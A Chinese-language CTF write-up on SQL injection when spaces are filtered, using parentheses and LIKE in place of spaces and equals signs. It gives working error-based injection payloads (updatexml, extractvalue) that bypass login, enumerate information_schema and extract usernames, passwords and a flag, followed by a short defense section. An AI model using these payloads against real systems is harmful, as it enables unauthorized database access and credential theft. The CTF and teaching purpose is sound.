当空格被过滤时:用括号与LIKE重构SQL报错注入攻击链
在CTF竞赛和渗透测试中,遇到字符过滤是家常便饭。最近一次实战中,我碰到了一个棘手的场景——目标系统过滤了所有空格字符。这种限制看似简单,实则对传统SQL注入手法造成毁灭性打击。本文将分享如何用括号()和LIKE操作符重构攻击链,最终通过报错注入拿下flag的完整思维过程。
1. 突破空格过滤的基础策略
当发现空格被过滤时,许多新手会陷入思维定式。实际上,SQL语法提供了多种替代空格的方案:
括号替代法:在大多数SQL方言中,括号
()不仅能用于表达式分组,还能隐式实现空格分隔效果。例如:SELECT(column)FROM(table)WHERE(1=1)等价于:
SELECT column FROM table WHERE 1=1注释符技巧:当括号也被过滤时,可尝试
/**/或--等注释符(但本例中注释符已被过滤)特殊字符替换:某些环境下
%20、%0A等URL编码字符可能奏效
关键发现:测试发现目标系统仅过滤空格而保留括号,这成为后续攻击的基础突破口。通过构造1'or((1)like(1))#成功登录,验证了括号替代的可行性。
2. LIKE操作符的妙用
在绕过等号=过滤时,LIKE操作符展现出独特优势:
| 操作符 | 等效场景 | 绕过能力 |
|---|---|---|
= | 精确匹配 | 通常被严格过滤 |
LIKE | 模糊匹配(含通配) | 常被忽略 |
RLIKE | 正则匹配 | 有时可用 |
实战应用:
-- 传统方式(被过滤) 1' OR 1=1# -- 改造版本 1'or((1)like(1))#注意:
LIKE默认区分大小写,若需要不区分可用ILIKE(MySQL不支持)或COLLATE子句
3. 报错注入函数深度解析
当联合注入和堆叠注入都被封杀时,报错注入成为突破口。以下是两个核心函数对比:
3.1 updatexml() 函数
updatexml(XML_doc, XPath_str, new_value)- 攻击原理:故意构造非法XPath格式触发错误回显
- 典型payload:
1'or(updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1))# - 字符限制突破:
-- 使用right()获取后半段数据 1'or(updatexml(1,concat(0x7e,(select(right(password,25))from(H4rDsq1))),1))#
3.2 extractvalue() 函数
extractvalue(XML_doc, XPath_str)- 异曲同工:
1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))# - 异或绕过技巧:
^运算符可绕过某些关键词过滤
4. 完整攻击链构建实战
让我们还原完整的攻击流程:
信息收集阶段
-- 获取当前数据库 1'or(updatexml(1,concat(0x7e,database(),0x7e),1))# -- 获取数据表(使用LIKE替代=) 1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#字段枚举阶段
-- 获取列名(注意表名用括号包裹) 1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#数据提取阶段
-- 常规提取(前32字符) 1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))# -- 分段提取(使用right/left组合) 1'or(updatexml(1,concat(0x7e,(select(right(password,25))from(H4rDsq1)),0x7e),1))#数据拼接技巧
- 将
flag{389c9161-c2eb-403a-80与b-403a-8062-80f219ca1c30}手动拼接 - 最终flag:
flag{389c9161-c2eb-403a-8062-80f219ca1c30}
- 将
5. 防御方案与思考
面对这类攻击,防御者可以考虑:
多层过滤策略:
- 同时过滤空格、括号、注释符等特殊字符
- 对
LIKE、RLIKE等操作符进行监控
错误信息处理:
// 错误示例(泄露信息) mysqli_query($conn, $sql) or die(mysqli_error($conn)); // 正确做法 try { mysqli_query($conn, $sql); } catch(Exception $e) { log_error($e); return "操作失败"; }最小权限原则:
- 数据库账户仅授予必要权限
- 禁用
information_schema的公共访问
在真实渗透测试中,这种绕过手法的成功率取决于WAF规则的精细程度。我曾遇到一个案例,仅通过将LIKE改为REGEXP就成功绕过了某商业WAF的检测。这提醒我们:安全防御需要持续迭代,而攻击者的创造力永不枯竭。